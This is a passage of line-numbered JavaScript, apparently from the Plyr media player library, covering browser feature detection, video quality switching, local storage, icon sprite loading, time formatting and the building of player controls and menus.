"WebkitAppearance" in document.documentElement.style && |
| 789 |
!/Edge/.test(navigator.userAgent), |
| 790 |
isIPhone: /(iPhone|iPod)/gi.test(navigator.platform), |
| 791 |
isIos: /(iPad|iPhone|iPod)/gi.test(navigator.platform), |
| 792 |
}, |
| 793 |
U = { |
| 794 |
"audio/ogg": "vorbis", |
| 795 |
"audio/wav": "1", |
| 796 |
"video/webm": "vp8, vorbis", |
| 797 |
"video/mp4": "avc1.42E01E, mp4a.40.2", |
| 798 |
"video/ogg": "theora", |
| 799 |
}, |
| 800 |
W = { |
| 801 |
audio: "canPlayType" in document.createElement("audio"), |
| 802 |
video: "canPlayType" in document.createElement("video"), |
| 803 |
check: function (e, t, n) { |
| 804 |
var i = F.isIPhone && n && W.playsinline, |
| 805 |
a = W[e] || "html5" !== t; |
| 806 |
return { |
| 807 |
api: a, |
| 808 |
ui: a && W.rangeInput && ("video" !== e || !F.isIPhone || i), |
| 809 |
}; |
| 810 |
}, |
| 811 |
pip: !( |
| 812 |
F.isIPhone || |
| 813 |
(!m.function(A("video").webkitSetPresentationMode) && |
| 814 |
(!document.pictureInPictureEnabled || |
| 815 |
A("video").disablePictureInPicture)) |
| 816 |
), |
| 817 |
airplay: m.function(window.WebKitPlaybackTargetAvailabilityEvent), |
| 818 |
playsinline: "playsInline" in document.createElement("video"), |
| 819 |
mime: function (e) { |
| 820 |
var t = a(e.split("/"), 1)[0], |
| 821 |
n = e; |
| 822 |
if (!this.isHTML5 || t !== this.type) return !1; |
| 823 |
Object.keys(U).includes(n) && (n += '; codecs="'.concat(U[e], '"')); |
| 824 |
try { |
| 825 |
return Boolean(n && this.media.canPlayType(n).replace(/no/, "")); |
| 826 |
} catch (e) { |
| 827 |
return !1; |
| 828 |
} |
| 829 |
}, |
| 830 |
textTracks: "textTracks" in document.createElement("video"), |
| 831 |
rangeInput: |
| 832 |
((V = document.createElement("input")), |
| 833 |
(V.type = "range"), |
| 834 |
"range" === V.type), |
| 835 |
touch: "ontouchstart" in document.documentElement, |
| 836 |
transitions: !1 !== D, |
| 837 |
reducedMotion: |
| 838 |
"matchMedia" in window && |
| 839 |
window.matchMedia("(prefers-reduced-motion)").matches, |
| 840 |
}, |
| 841 |
z = { |
| 842 |
getSources: function () { |
| 843 |
var e = this; |
| 844 |
return this.isHTML5 |
| 845 |
? Array.from(this.media.querySelectorAll("source")).filter( |
| 846 |
function (t) { |
| 847 |
return W.mime.call(e, t.getAttribute("type")); |
| 848 |
} |
| 849 |
) |
| 850 |
: []; |
| 851 |
}, |
| 852 |
getQualityOptions: function () { |
| 853 |
return z.getSources |
| 854 |
.call(this) |
| 855 |
.map(function (e) { |
| 856 |
return Number(e.getAttribute("size")); |
| 857 |
}) |
| 858 |
.filter(Boolean); |
| 859 |
}, |
| 860 |
extend: function () { |
| 861 |
if (this.isHTML5) { |
| 862 |
var e = this; |
| 863 |
Object.defineProperty(e.media, "quality", { |
| 864 |
get: function () { |
| 865 |
var t = z.getSources.call(e).find(function (t) { |
| 866 |
return t.getAttribute("src") === e.source; |
| 867 |
}); |
| 868 |
return t && Number(t.getAttribute("size")); |
| 869 |
}, |
| 870 |
set: function (t) { |
| 871 |
var n = z.getSources.call(e).find(function (e) { |
| 872 |
return Number(e.getAttribute("size")) === t; |
| 873 |
}); |
| 874 |
if (n) { |
| 875 |
var i = e.media, |
| 876 |
a = i.currentTime, |
| 877 |
s = i.paused, |
| 878 |
o = i.preload, |
| 879 |
r = i.readyState; |
| 880 |
(e.media.src = n.getAttribute("src")), |
| 881 |
("none" !== o || r) && |
| 882 |
(e.once("loadedmetadata", function () { |
| 883 |
(e.currentTime = a), s || e.play(); |
| 884 |
}), |
| 885 |
e.media.load()), |
| 886 |
k.call(e, e.media, "qualitychange", !1, { quality: t }); |
| 887 |
} |
| 888 |
}, |
| 889 |
}); |
| 890 |
} |
| 891 |
}, |
| 892 |
cancelRequests: function () { |
| 893 |
this.isHTML5 && |
| 894 |
(P(z.getSources.call(this)), |
| 895 |
this.media.setAttribute("src", this.config.blankVideo), |
| 896 |
this.media.load(), |
| 897 |
this.debug.log("Cancelled network requests")); |
| 898 |
}, |
| 899 |
}; |
| 900 |
function K(e) { |
| 901 |
return m.array(e) |
| 902 |
? e.filter(function (t, n) { |
| 903 |
return e.indexOf(t) === n; |
| 904 |
}) |
| 905 |
: e; |
| 906 |
} |
| 907 |
function Y(e, t) { |
| 908 |
return t.split(".").reduce(function (e, t) { |
| 909 |
return e && e[t]; |
| 910 |
}, e); |
| 911 |
} |
| 912 |
function J() { |
| 913 |
for ( |
| 914 |
var e = |
| 915 |
arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : {}, |
| 916 |
t = arguments.length, |
| 917 |
n = new Array(t > 1 ? t - 1 : 0), |
| 918 |
a = 1; |
| 919 |
a < t; |
| 920 |
a++ |
| 921 |
) |
| 922 |
n[a - 1] = arguments[a]; |
| 923 |
if (!n.length) return e; |
| 924 |
var s = n.shift(); |
| 925 |
return m.object(s) |
| 926 |
? (Object.keys(s).forEach(function (t) { |
| 927 |
m.object(s[t]) |
| 928 |
? (Object.keys(e).includes(t) || Object.assign(e, i({}, t, {})), |
| 929 |
J(e[t], s[t])) |
| 930 |
: Object.assign(e, i({}, t, s[t])); |
| 931 |
}), |
| 932 |
J.apply(void 0, [e].concat(n))) |
| 933 |
: e; |
| 934 |
} |
| 935 |
function Q(e) { |
| 936 |
for ( |
| 937 |
var t = arguments.length, n = new Array(t > 1 ? t - 1 : 0), i = 1; |
| 938 |
i < t; |
| 939 |
i++ |
| 940 |
) |
| 941 |
n[i - 1] = arguments[i]; |
| 942 |
return m.empty(e) |
| 943 |
? e |
| 944 |
: e.toString().replace(/{(\d+)}/g, function (e, t) { |
| 945 |
return n[t].toString(); |
| 946 |
}); |
| 947 |
} |
| 948 |
function $() { |
| 949 |
var e = |
| 950 |
arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : "", |
| 951 |
t = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : "", |
| 952 |
n = arguments.length > 2 && void 0 !== arguments[2] ? arguments[2] : ""; |
| 953 |
return e.replace( |
| 954 |
new RegExp( |
| 955 |
t.toString().replace(/([.*+?^=!:${}()|[\]\/\\])/g, "\\$1"), |
| 956 |
"g" |
| 957 |
), |
| 958 |
n.toString() |
| 959 |
); |
| 960 |
} |
| 961 |
function G() { |
| 962 |
return ( |
| 963 |
arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : "" |
| 964 |
) |
| 965 |
.toString() |
| 966 |
.replace(/\w\S*/g, function (e) { |
| 967 |
return e.charAt(0).toUpperCase() + e.substr(1).toLowerCase(); |
| 968 |
}); |
| 969 |
} |
| 970 |
function X() { |
| 971 |
var e = ( |
| 972 |
arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : "" |
| 973 |
).toString(); |
| 974 |
return ( |
| 975 |
(e = (function () { |
| 976 |
var e = ( |
| 977 |
arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : "" |
| 978 |
).toString(); |
| 979 |
return ( |
| 980 |
(e = $(e, "-", " ")), (e = $(e, "_", " ")), $((e = G(e)), " ", "") |
| 981 |
); |
| 982 |
})(e)) |
| 983 |
.charAt(0) |
| 984 |
.toLowerCase() + e.slice(1) |
| 985 |
); |
| 986 |
} |
| 987 |
function Z(e) { |
| 988 |
var t = document.createElement("div"); |
| 989 |
return t.appendChild(e), t.innerHTML; |
| 990 |
} |
| 991 |
var ee = { |
| 992 |
pip: "PIP", |
| 993 |
airplay: "AirPlay", |
| 994 |
html5: "HTML5", |
| 995 |
vimeo: "Vimeo", |
| 996 |
youtube: "YouTube", |
| 997 |
}, |
| 998 |
te = function () { |
| 999 |
var e = |
| 1000 |
arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : "", |
| 1001 |
t = |
| 1002 |
arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : {}; |
| 1003 |
if (m.empty(e) || m.empty(t)) return ""; |
| 1004 |
var n = Y(t.i18n, e); |
| 1005 |
if (m.empty(n)) return Object.keys(ee).includes(e) ? ee[e] : ""; |
| 1006 |
var i = { "{seektime}": t.seekTime, "{title}": t.title }; |
| 1007 |
return ( |
| 1008 |
Object.entries(i).forEach(function (e) { |
| 1009 |
var t = a(e, 2), |
| 1010 |
i = t[0], |
| 1011 |
s = t[1]; |
| 1012 |
n = $(n, i, s); |
| 1013 |
}), |
| 1014 |
n |
| 1015 |
); |
| 1016 |
}, |
| 1017 |
ne = (function () { |
| 1018 |
function t(n) { |
| 1019 |
e(this, t), |
| 1020 |
(this.enabled = n.config.storage.enabled), |
| 1021 |
(this.key = n.config.storage.key); |
| 1022 |
} |
| 1023 |
return ( |
| 1024 |
n( |
| 1025 |
t, |
| 1026 |
[ |
| 1027 |
{ |
| 1028 |
key: "get", |
| 1029 |
value: function (e) { |
| 1030 |
if (!t.supported || !this.enabled) return null; |
| 1031 |
var n = window.localStorage.getItem(this.key); |
| 1032 |
if (m.empty(n)) return null; |
| 1033 |
var i = JSON.parse(n); |
| 1034 |
return m.string(e) && e.length ? i[e] : i; |
| 1035 |
}, |
| 1036 |
}, |
| 1037 |
{ |
| 1038 |
key: "set", |
| 1039 |
value: function (e) { |
| 1040 |
if (t.supported && this.enabled && m.object(e)) { |
| 1041 |
var n = this.get(); |
| 1042 |
m.empty(n) && (n = {}), |
| 1043 |
J(n, e), |
| 1044 |
window.localStorage.setItem(this.key, JSON.stringify(n)); |
| 1045 |
} |
| 1046 |
}, |
| 1047 |
}, |
| 1048 |
], |
| 1049 |
[ |
| 1050 |
{ |
| 1051 |
key: "supported", |
| 1052 |
get: function () { |
| 1053 |
try { |
| 1054 |
if (!("localStorage" in window)) return !1; |
| 1055 |
return ( |
| 1056 |
window.localStorage.setItem("___test", "___test"), |
| 1057 |
window.localStorage.removeItem("___test"), |
| 1058 |
!0 |
| 1059 |
); |
| 1060 |
} catch (e) { |
| 1061 |
return !1; |
| 1062 |
} |
| 1063 |
}, |
| 1064 |
}, |
| 1065 |
] |
| 1066 |
), |
| 1067 |
t |
| 1068 |
); |
| 1069 |
})(); |
| 1070 |
function ie(e) { |
| 1071 |
var t = |
| 1072 |
arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : "text"; |
| 1073 |
return new Promise(function (n, i) { |
| 1074 |
try { |
| 1075 |
var a = new XMLHttpRequest(); |
| 1076 |
if (!("withCredentials" in a)) return; |
| 1077 |
a.addEventListener("load", function () { |
| 1078 |
if ("text" === t) |
| 1079 |
try { |
| 1080 |
n(JSON.parse(a.responseText)); |
| 1081 |
} catch (e) { |
| 1082 |
n(a.responseText); |
| 1083 |
} |
| 1084 |
else n(a.response); |
| 1085 |
}), |
| 1086 |
a.addEventListener("error", function () { |
| 1087 |
throw new Error(a.status); |
| 1088 |
}), |
| 1089 |
a.open("GET", e, !0), |
| 1090 |
(a.responseType = t), |
| 1091 |
a.send(); |
| 1092 |
} catch (e) { |
| 1093 |
i(e); |
| 1094 |
} |
| 1095 |
}); |
| 1096 |
} |
| 1097 |
function ae(e, t) { |
| 1098 |
if (m.string(e)) { |
| 1099 |
var n = m.string(t), |
| 1100 |
i = function () { |
| 1101 |
return null !== document.getElementById(t); |
| 1102 |
}, |
| 1103 |
a = function (e, t) { |
| 1104 |
(e.innerHTML = t), |
| 1105 |
(n && i()) || |
| 1106 |
document.body.insertAdjacentElement("afterbegin", e); |
| 1107 |
}; |
| 1108 |
if (!n || !i()) { |
| 1109 |
var s = ne.supported, |
| 1110 |
o = document.createElement("div"); |
| 1111 |
if ((o.setAttribute("hidden", ""), n && o.setAttribute("id", t), s)) { |
| 1112 |
var r = window.localStorage.getItem( |
| 1113 |
"".concat("cache", "-").concat(t) |
| 1114 |
); |
| 1115 |
if (null !== r) { |
| 1116 |
var l = JSON.parse(r); |
| 1117 |
a(o, l.content); |
| 1118 |
} |
| 1119 |
} |
| 1120 |
ie(e) |
| 1121 |
.then(function (e) { |
| 1122 |
m.empty(e) || |
| 1123 |
(s && |
| 1124 |
window.localStorage.setItem( |
| 1125 |
"".concat("cache", "-").concat(t), |
| 1126 |
JSON.stringify({ content: e }) |
| 1127 |
), |
| 1128 |
a(o, e)); |
| 1129 |
}) |
| 1130 |
.catch(function () {}); |
| 1131 |
} |
| 1132 |
} |
| 1133 |
} |
| 1134 |
var se = function (e) { |
| 1135 |
return parseInt((e / 60 / 60) % 60, 10); |
| 1136 |
}, |
| 1137 |
oe = function (e) { |
| 1138 |
return parseInt((e / 60) % 60, 10); |
| 1139 |
}, |
| 1140 |
re = function (e) { |
| 1141 |
return parseInt(e % 60, 10); |
| 1142 |
}; |
| 1143 |
function le() { |
| 1144 |
var e = |
| 1145 |
arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : 0, |
| 1146 |
t = arguments.length > 1 && void 0 !== arguments[1] && arguments[1], |
| 1147 |
n = arguments.length > 2 && void 0 !== arguments[2] && arguments[2]; |
| 1148 |
if (!m.number(e)) return le(null, t, n); |
| 1149 |
var i = function (e) { |
| 1150 |
return "0".concat(e).slice(-2); |
| 1151 |
}, |
| 1152 |
a = se(e), |
| 1153 |
s = oe(e), |
| 1154 |
o = re(e); |
| 1155 |
return ( |
| 1156 |
(a = t || a > 0 ? "".concat(a, ":") : ""), |
| 1157 |
"" |
| 1158 |
.concat(n && e > 0 ? "-" : "") |
| 1159 |
.concat(a) |
| 1160 |
.concat(i(s), ":") |
| 1161 |
.concat(i(o)) |
| 1162 |
); |
| 1163 |
} |
| 1164 |
var ce = { |
| 1165 |
getIconUrl: function () { |
| 1166 |
var e = |
| 1167 |
new URL(this.config.iconUrl, window.location).host !== |
| 1168 |
window.location.host || |
| 1169 |
(F.isIE && !window.svg4everybody); |
| 1170 |
return { url: this.config.iconUrl, cors: e }; |
| 1171 |
}, |
| 1172 |
findElements: function () { |
| 1173 |
try { |
| 1174 |
return ( |
| 1175 |
(this.elements.controls = j.call( |
| 1176 |
this, |
| 1177 |
this.config.selectors.controls.wrapper |
| 1178 |
)), |
| 1179 |
(this.elements.buttons = { |
| 1180 |
play: _.call(this, this.config.selectors.buttons.play), |
| 1181 |
pause: j.call(this, this.config.selectors.buttons.pause), |
| 1182 |
restart: j.call(this, this.config.selectors.buttons.restart), |
| 1183 |
rewind: j.call(this, this.config.selectors.buttons.rewind), |
| 1184 |
fastForward: j.call( |
| 1185 |
this, |
| 1186 |
this.config.selectors.buttons.fastForward |
| 1187 |
), |
| 1188 |
mute: j.call(this, this.config.selectors.buttons.mute), |
| 1189 |
pip: j.call(this, this.config.selectors.buttons.pip), |
| 1190 |
airplay: j.call(this, this.config.selectors.buttons.airplay), |
| 1191 |
settings: j.call(this, this.config.selectors.buttons.settings), |
| 1192 |
captions: j.call(this, this.config.selectors.buttons.captions), |
| 1193 |
fullscreen: j.call( |
| 1194 |
this, |
| 1195 |
this.config.selectors.buttons.fullscreen |
| 1196 |
), |
| 1197 |
}), |
| 1198 |
(this.elements.progress = j.call( |
| 1199 |
this, |
| 1200 |
this.config.selectors.progress |
| 1201 |
)), |
| 1202 |
(this.elements.inputs = { |
| 1203 |
seek: j.call(this, this.config.selectors.inputs.seek), |
| 1204 |
volume: j.call(this, this.config.selectors.inputs.volume), |
| 1205 |
}), |
| 1206 |
(this.elements.display = { |
| 1207 |
buffer: j.call(this, this.config.selectors.display.buffer), |
| 1208 |
currentTime: j.call( |
| 1209 |
this, |
| 1210 |
this.config.selectors.display.currentTime |
| 1211 |
), |
| 1212 |
duration: j.call(this, this.config.selectors.display.duration), |
| 1213 |
}), |
| 1214 |
m.element(this.elements.progress) && |
| 1215 |
(this.elements.display.seekTooltip = |
| 1216 |
this.elements.progress.querySelector( |
| 1217 |
".".concat(this.config.classNames.tooltip) |
| 1218 |
)), |
| 1219 |
!0 |
| 1220 |
); |
| 1221 |
} catch (e) { |
| 1222 |
return ( |
| 1223 |
this.debug.warn( |
| 1224 |
"It looks like there is a problem with your custom controls HTML", |
| 1225 |
e |
| 1226 |
), |
| 1227 |
this.toggleNativeControls(!0), |
| 1228 |
!1 |
| 1229 |
); |
| 1230 |
} |
| 1231 |
}, |
| 1232 |
createIcon: function (e, t) { |
| 1233 |
var n = ce.getIconUrl.call(this), |
| 1234 |
i = "" |
| 1235 |
.concat(n.cors ? "" : n.url, "#") |
| 1236 |
.concat(this.config.iconPrefix), |
| 1237 |
a = document.createElementNS("http://www.w3.org/2000/svg", "svg"); |
| 1238 |
T(a, J(t, { role: "presentation", focusable: "false" })); |
| 1239 |
var s = document.createElementNS("http://www.w3.org/2000/svg", "use"), |
| 1240 |
o = "".concat(i, "-").concat(e); |
| 1241 |
return ( |
| 1242 |
"href" in s && |
| 1243 |
s.setAttributeNS("http://www.w3.org/1999/xlink", "href", o), |
| 1244 |
s.setAttributeNS("http://www.w3.org/1999/xlink", "xlink:href", o), |
| 1245 |
a.appendChild(s), |
| 1246 |
a |
| 1247 |
); |
| 1248 |
}, |
| 1249 |
createLabel: function (e) { |
| 1250 |
var t = |
| 1251 |
arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : {}, |
| 1252 |
n = te(e, this.config); |
| 1253 |
return A( |
| 1254 |
"span", |
| 1255 |
Object.assign({}, t, { |
| 1256 |
class: [t.class, this.config.classNames.hidden] |
| 1257 |
.filter(Boolean) |
| 1258 |
.join(" "), |
| 1259 |
}), |
| 1260 |
n |
| 1261 |
); |
| 1262 |
}, |
| 1263 |
createBadge: function (e) { |
| 1264 |
if (m.empty(e)) return null; |
| 1265 |
var t = A("span", { class: this.config.classNames.menu.value }); |
| 1266 |
return ( |
| 1267 |
t.appendChild( |
| 1268 |
A("span", { class: this.config.classNames.menu.badge }, e) |
| 1269 |
), |
| 1270 |
t |
| 1271 |
); |
| 1272 |
}, |
| 1273 |
createButton: function (e, t) { |
| 1274 |
var n = Object.assign({}, t), |
| 1275 |
i = X(e), |
| 1276 |
a = { |
| 1277 |
element: "button", |
| 1278 |
toggle: !1, |
| 1279 |
label: null, |
| 1280 |
icon: null, |
| 1281 |
labelPressed: null, |
| 1282 |
iconPressed: null, |
| 1283 |
}; |
| 1284 |
switch ( |
| 1285 |
(["element", "icon", "label"].forEach(function (e) { |
| 1286 |
Object.keys(n).includes(e) && ((a[e] = n[e]), delete n[e]); |
| 1287 |
}), |
| 1288 |
"button" !== a.element || |
| 1289 |
Object.keys(n).includes("type") || |
| 1290 |
(n.type = "button"), |
| 1291 |
Object.keys(n).includes("class") |
| 1292 |
? n.class.includes(this.config.classNames.control) || |
| 1293 |
(n.class += " ".concat(this.config.classNames.control)) |
| 1294 |
: (n.class = this.config.classNames.control), |
| 1295 |
e) |
| 1296 |
) { |
| 1297 |
case "play": |
| 1298 |
(a.toggle = !0), |
| 1299 |
(a.label = "play"), |
| 1300 |
(a.labelPressed = "pause"), |
| 1301 |
(a.icon = "play"), |
| 1302 |
(a.iconPressed = "pause"); |
| 1303 |
break; |
| 1304 |
case "mute": |
| 1305 |
(a.toggle = !0), |
| 1306 |
(a.label = "mute"), |
| 1307 |
(a.labelPressed = "unmute"), |
| 1308 |
(a.icon = "volume"), |
| 1309 |
(a.iconPressed = "muted"); |
| 1310 |
break; |
| 1311 |
case "captions": |
| 1312 |
(a.toggle = !0), |
| 1313 |
(a.label = "enableCaptions"), |
| 1314 |
(a.labelPressed = "disableCaptions"), |
| 1315 |
(a.icon = "captions-off"), |
| 1316 |
(a.iconPressed = "captions-on"); |
| 1317 |
break; |
| 1318 |
case "fullscreen": |
| 1319 |
(a.toggle = !0), |
| 1320 |
(a.label = "enterFullscreen"), |
| 1321 |
(a.labelPressed = "exitFullscreen"), |
| 1322 |
(a.icon = "enter-fullscreen"), |
| 1323 |
(a.iconPressed = "exit-fullscreen"); |
| 1324 |
break; |
| 1325 |
case "play-large": |
| 1326 |
(n.class += " ".concat( |
| 1327 |
this.config.classNames.control, |
| 1328 |
"--overlaid" |
| 1329 |
)), |
| 1330 |
(i = "play"), |
| 1331 |
(a.label = "play"), |
| 1332 |
(a.icon = "play"); |
| 1333 |
break; |
| 1334 |
default: |
| 1335 |
m.empty(a.label) && (a.label = i), m.empty(a.icon) && (a.icon = e); |
| 1336 |
} |
| 1337 |
var s = A(a.element); |
| 1338 |
return ( |
| 1339 |
a.toggle |
| 1340 |
? (s.appendChild( |
| 1341 |
ce.createIcon.call(this, a.iconPressed, { |
| 1342 |
class: "icon--pressed", |
| 1343 |
}) |
| 1344 |
), |
| 1345 |
s.appendChild( |
| 1346 |
ce.createIcon.call(this, a.icon, { class: "icon--not-pressed" }) |
| 1347 |
), |
| 1348 |
s.appendChild( |
| 1349 |
ce.createLabel.call(this, a.labelPressed, { |
| 1350 |
class: "label--pressed", |
| 1351 |
}) |
| 1352 |
), |
| 1353 |
s.appendChild( |
| 1354 |
ce.createLabel.call(this, a.label, { |
| 1355 |
class: "label--not-pressed", |
| 1356 |
}) |
| 1357 |
)) |
| 1358 |
: (s.appendChild(ce.createIcon.call(this, a.icon)), |
| 1359 |
s.appendChild(ce.createLabel.call(this, a.label))), |
| 1360 |
J(n, M(this.config.selectors.buttons[i], n)), |
| 1361 |
T(s, n), |
| 1362 |
"play" === i |
| 1363 |
? (m.array(this.elements.buttons[i]) || |
| 1364 |
(this.elements.buttons[i] = []), |
| 1365 |
this.elements.buttons[i].push(s)) |
| 1366 |
: (this.elements.buttons[i] = s), |
| 1367 |
s |
| 1368 |
); |
| 1369 |
}, |
| 1370 |
createRange: function (e, t) { |
| 1371 |
var n = A( |
| 1372 |
"input", |
| 1373 |
J( |
| 1374 |
M(this.config.selectors.inputs[e]), |
| 1375 |
{ |
| 1376 |
type: "range", |
| 1377 |
min: 0, |
| 1378 |
max: 100, |
| 1379 |
step: 0.01, |
| 1380 |
value: 0, |
| 1381 |
autocomplete: "off", |
| 1382 |
role: "slider", |
| 1383 |
"aria-label": te(e, this.config), |
| 1384 |
"aria-valuemin": 0, |
| 1385 |
"aria-valuemax": 100, |
| 1386 |
"aria-valuenow": 0, |
| 1387 |
}, |
| 1388 |
t |
| 1389 |
) |
| 1390 |
); |
| 1391 |
return ( |
| 1392 |
(this.elements.inputs[e] = n), ce.updateRangeFill.call(this, n), n |
| 1393 |
); |
| 1394 |
}, |
| 1395 |
createProgress: function (e, t) { |
| 1396 |
var n = A( |
| 1397 |
"progress", |
| 1398 |
J( |
| 1399 |
M(this.config.selectors.display[e]), |
| 1400 |
{ |
| 1401 |
min: 0, |
| 1402 |
max: 100, |
| 1403 |
value: 0, |
| 1404 |
role: "presentation", |
| 1405 |
"aria-hidden": !0, |
| 1406 |
}, |
| 1407 |
t |
| 1408 |
) |
| 1409 |
); |
| 1410 |
if ("volume" !== e) { |
| 1411 |
n.appendChild(A("span", null, "0")); |
| 1412 |
var i = { played: "played", buffer: "buffered" }[e], |
| 1413 |
a = i ? te(i, this.config) : ""; |
| 1414 |
n.innerText = "% ".concat(a.toLowerCase()); |
| 1415 |
} |
| 1416 |
return (this.elements.display[e] = n), n; |
| 1417 |
}, |
| 1418 |
createTime: function (e) { |
| 1419 |
var t = M(this.config.selectors.display[e]), |
| 1420 |
n = A( |
| 1421 |
"div", |
| 1422 |
J(t, { |
| 1423 |
class: "" |
| 1424 |
.concat(this.config.classNames.display.time, " ") |
| 1425 |
.concat(t.class ? t.class : "") |
| 1426 |
.trim(), |
| 1427 |
"aria-label": te(e, this.config), |
| 1428 |
}), |
| 1429 |
"00:00" |
| 1430 |
); |
| 1431 |
return (this.elements.display[e] = n), n; |
| 1432 |
}, |
| 1433 |
bindMenuItemShortcuts: function (e, t) { |
| 1434 |
var n = this; |
| 1435 |
y( |
| 1436 |
e, |
| 1437 |
"keydown keyup", |
| 1438 |
function (i) { |
| 1439 |
if ( |
| 1440 |
[32, 38, 39, 40].includes(i.which) && |
| 1441 |
(i.preventDefault(), i.stopPropagation(), "keydown" !== i.type) |
| 1442 |
) { |
| 1443 |
var a, |
| 1444 |
s = I(e, '[role="menuitemradio"]'); |
| 1445 |
if (!s && [32, 39].includes(i.which)) |
| 1446 |
ce.showMenuPanel.call(n, t, !0); |
| 1447 |
else |
| 1448 |
32 !== i.which && |
| 1449 |
(40 === i.which || (s && 39 === i.which) |
| 1450 |
? ((a = e.nextElementSibling), |
| 1451 |
m.element(a) || (a = e.parentNode.firstElementChild)) |
| 1452 |
: ((a = e.previousElementSibling), |
| 1453 |
m.element(a) || (a = e.parentNode.lastElementChild)), |
| 1454 |
O.call(n, a, !0)); |
| 1455 |
} |
| 1456 |
}, |
| 1457 |
!1 |
| 1458 |
), |
| 1459 |
y(e, "keyup", function (e) { |
| 1460 |
13 === e.which && ce.focusFirstMenuItem.call(n, null, !0); |
| 1461 |
}); |
| 1462 |
}, |
| 1463 |
createMenuItem: function (e) { |
| 1464 |
var t = this, |
| 1465 |
n = e.value, |
| 1466 |
i = e.list, |
| 1467 |
a = e.type, |
| 1468 |
s = e.title, |
| 1469 |
o = e.badge, |
| 1470 |
r = void 0 === o ? null : o, |
| 1471 |
l = e.checked, |
| 1472 |
c = void 0 !== l && l, |
| 1473 |
u = M(this.config.selectors.inputs[a]), |
| 1474 |
d = A( |
| 1475 |
"button", |
| 1476 |
J(u, { |
| 1477 |
type: "button", |
| 1478 |
role: "menuitemradio", |
| 1479 |
class: "" |
| 1480 |
.concat(this.config.classNames.control, " ") |
| 1481 |
.concat(u.class ? u.class : "") |
| 1482 |
.trim(), |
| 1483 |
"aria-checked": c, |
| 1484 |
value: n, |
| 1485 |
}) |
| 1486 |
), |
| 1487 |
h = A("span"); |
| 1488 |
(h.innerHTML = s), |
| 1489 |
m.element(r) && h.appendChild(r), |
| 1490 |
d.appendChild(h), |
| 1491 |
Object.defineProperty(d, "checked", { |
| 1492 |
enumerable: !0, |
| 1493 |
get: function () { |
| 1494 |
return "true" === d.getAttribute("aria-checked"); |
| 1495 |
}, |
| 1496 |
set: function (e) { |
| 1497 |
e && |
| 1498 |
Array.from(d.parentNode.children) |
| 1499 |
.filter(function (e) { |
| 1500 |
return I(e, '[role="menuitemradio"]'); |
| 1501 |
}) |
| 1502 |
.forEach(function (e) { |
| 1503 |
return e.setAttribute("aria-checked", "false"); |
| 1504 |
}), |
| 1505 |
d.setAttribute("aria-checked", e ? "true" : "false"); |
| 1506 |
}, |
| 1507 |
}), |
| 1508 |
this.listeners.bind( |
| 1509 |
d, |
| 1510 |
"click keyup", |
| 1511 |
function (e) { |
| 1512 |
if (!m.keyboardEvent(e) || 32 === e.which) { |
| 1513 |
switch ( |
| 1514 |
(e.preventDefault(), e.stopPropagation(), (d.checked = !0), a) |
| 1515 |
) { |
| 1516 |
case "language": |
| 1517 |
t.currentTrack = Number(n); |
| 1518 |
break; |
| 1519 |
case "quality": |
| 1520 |
t.quality = n; |
| 1521 |
break; |
| 1522 |
case "speed": |
| 1523 |
t.speed = parseFloat(n); |
| 1524 |
} |
| 1525 |
ce.showMenuPanel.call(t, "home", m.keyboardEvent(e)); |
| 1526 |
} |
| 1527 |
}, |
| 1528 |
a, |
| 1529 |
!1 |
| 1530 |
), |
| 1531 |
ce.bindMenuItemShortcuts.call(this, d, a), |
| 1532 |
i.appendChild(d); |
| 1533 |
}, |
| 1534 |
formatTime: function () { |
| 1535 |
var e = |
| 1536 |
arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : 0, |
| 1537 |
t = arguments.length > 1 && void 0 !== arguments[1] && arguments[1]; |
| 1538 |
return m.number(e) ? le(e, se(this.duration) > 0, t) : e; |
| 1539 |
}, |
| 1540 |
updateTimeDisplay: function () { |
| 1541 |
var e = |
| 1542 |
arguments.length > 0 && void 0 !== arguments[0] |
| 1543 |
? arguments[0] |
| 1544 |
: null, |
| 1545 |
t = |
| 1546 |
arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : 0, |
| 1547 |
n = arguments.length > 2 && void 0 !== arguments[2] && arguments[2]; |
| 1548 |
m.element(e) && m.number(t) && (e.innerText = ce.formatTime(t, n)); |
| 1549 |
}, |
| 1550 |
updateVolume: function () { |
| 1551 |
this.supported.ui && |
| 1552 |
(m.element(this.elements.inputs.volume) && |
| 1553 |
ce.setRange.call( |
| 1554 |
this, |
| 1555 |
this.elements.inputs.volume, |
| 1556 |
this.muted ? 0 : this.volume |
| 1557 |
), |
| 1558 |
m.element(this.elements.buttons.mute) && |
| 1559 |
(this.elements.buttons.mute.pressed = |
| 1560 |
this.muted || 0 === this.volume)); |
| 1561 |
}, |
| 1562 |
setRange: function (e) { |
| 1563 |
var t = |
| 1564 |
arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : 0; |
| 1565 |
m.element(e) && ((e.value = t), ce.updateRangeFill.call(this, e)); |
| 1566 |
}, |
| 1567 |
updateProgress: function (e) { |
| 1568 |
var t = this; |
| 1569 |
if (this.supported.ui && m.event(e)) { |
| 1570 |
var n, |
| 1571 |
i, |
| 1572 |
a = 0; |
| 1573 |
if (e) |
| 1574 |
switch (e.type) { |
| 1575 |
case "timeupdate": |
| 1576 |
case "seeking": |
| 1577 |
case "seeked": |
| 1578 |
(n = this.currentTime), |
| 1579 |
(i = this.duration), |
| 1580 |
(a = |
| 1581 |
0 === n || 0 === i || Number.isNaN(n) || Number.isNaN(i) |
| 1582 |
? 0 |
| 1583 |
: ((n / i) * 100).toFixed(2)), |
| 1584 |
"timeupdate" === e.type && |
| 1585 |
ce.setRange.call(this, this.elements.inputs.seek, a); |
| 1586 |
break; |
| 1587 |
case "playing": |
| 1588 |
case "progress": |
| 1589 |
!(function (e, n) { |
| 1590 |
var i = m.number(n) ? n : 0, |
| 1591 |
a = m.element(e) ? e : t.elements.display.buffer; |
| 1592 |
if (m.element(a)) { |
| 1593 |
a.value = i; |
